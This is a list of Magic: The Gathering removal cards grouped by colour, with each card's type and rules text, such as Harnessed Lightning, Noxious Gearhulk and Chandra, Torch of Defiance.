Malfunction Enchantment Enchant artifact or creature. When Malfunction enters the battlefield, tap enchanted permanent. Enchanted permanent doesn't untap during its controller's untap step.
Confiscation Coup Sorcery Choose target artifact or creature. You get {e}{e}{e}{e} (four energy counters), then you may pay an amount of {e} equal to that permanent's converted mana cost. If you do, gain control of it.
Shrewd Negotiation Sorcery Exchange control of target artifact you control and target artifact or creature you don't control.
Black Die Young Sorcery Choose target creature. You get {e}{e} (two energy counters), then you may pay any amount of {e}. The creature gets -1/-1 until end of turn for each {e} paid this way.
Subtle Strike Instant Choose one or both — • Target creature gets -1/-1 until end of turn. • Put a +1/+1 counter on target creature.
Underhanded Designs Enchantment Whenever an artifact enters the battlefield under your control, you may pay {1}. If you do, each opponent loses 1 life and you gain 1 life. {1}{B}, Sacrifice Underhanded Designs: Destroy target creature. Activate this ability only if you control two or more artifacts.
Essence Extraction Instant Essence Extraction deals 3 damage to target creature and you gain 3 life.
Make Obsolete Instant Creatures your opponents control get -1/-1 until end of turn.
Eliminate the Competition Sorcery As an additional cost to cast Eliminate the Competition, sacrifice X creatures. Destroy X target creatures.
Tidy Conclusion Instant Destroy target creature. You gain 1 life for each artifact you control.
Demon of Dark Schemes Creature Flying. When Demon of Dark Schemes enters the battlefield, all other creatures get -2/-2 until end of turn. Whenever another creature dies, you get {e} (an energy counter). {2}{B}, Pay {e}{e}{e}{e}: Put target creature card from a graveyard onto the battlefield under your control tapped.
Noxious Gearhulk Artifact Creature Menace. When Noxious Gearhulk enters the battlefield, you may destroy another target creature. If a creature is destroyed this way, you gain life equal to its toughness.
Red Spark of Creativity Sorcery Choose target creature. Exile the top card of your library. You may have Spark of Creativity deal damage to that creature equal to the exiled card's converted mana cost. If you don't, you may play that card until end of turn.
Chandra's Pyrohelix Instant Chandra's Pyrohelix deals 2 damage divided as you choose among one or two target creatures and/or players.
Harnessed Lightning Instant Choose target creature. You get {e}{e}{e} (three energy counters), then you may pay any amount of {e}. Harnessed Lightning deals that much damage to that creature.
Aethertorch Renegade Creature When Aethertorch Renegade enters the battlefield, you get {e}{e}{e}{e} (four energy counters). {T}, Pay {e}{e}: Aethertorch Renegade deals 1 damage to target creature. {T}, Pay {e}{e}{e}{e}{e}{e}{e}{e}: Aethertorch Renegade deals 6 damage to target player.
Welding Sparks Instant Welding Sparks deals X damage to target creature, where X is 3 plus the number of artifacts you control.
Chandra, Torch of Defiance Planeswalker +1: Exile the top card of your library. You may cast that card. If you don't, Chandra, Torch of Defiance deals 2 damage to each opponent. +1: Add {R}{R} to your mana pool. −3: Chandra, Torch of Defiance deals 4 damage to target creature. −7: You get an emblem with "Whenever you cast a spell, this emblem deals 5 damage to target creature or player."
Fateful Showdown Instant Fateful Showdown deals damage to target creature or player equal to the number of cards in your hand. Discard all the cards in your hand, then draw that many cards.
Furious Reprisal Sorcery Furious Reprisal deals 2 damage to each of two target creatures and/or players.
Incendiary Sabotage Instant As an additional cost to cast Incendiary Sabotage, sacrifice an artifact. Incendiary Sabotage deals 3 damage to each creature.
Green Take Down Sorcery Choose one — • Take Down deals 4 damage to target creature with flying. • Take Down deals 1 damage to each creature with flying.
Nature's Way Sorcery Target creature you control gains vigilance and trample until end of turn. It deals damage equal to its power to target creature you don't control.
Hunt the Weak Sorcery Put a +1/+1 counter on target creature you control. Then that creature fights target creature you don't control. (Each deals damage equal to its power to the other.)
Multi-Color Unlicensed Disintegration Instant Destroy target creature. If you control an artifact, Unlicensed Disintegration deals 3 damage to that creature's controller. |
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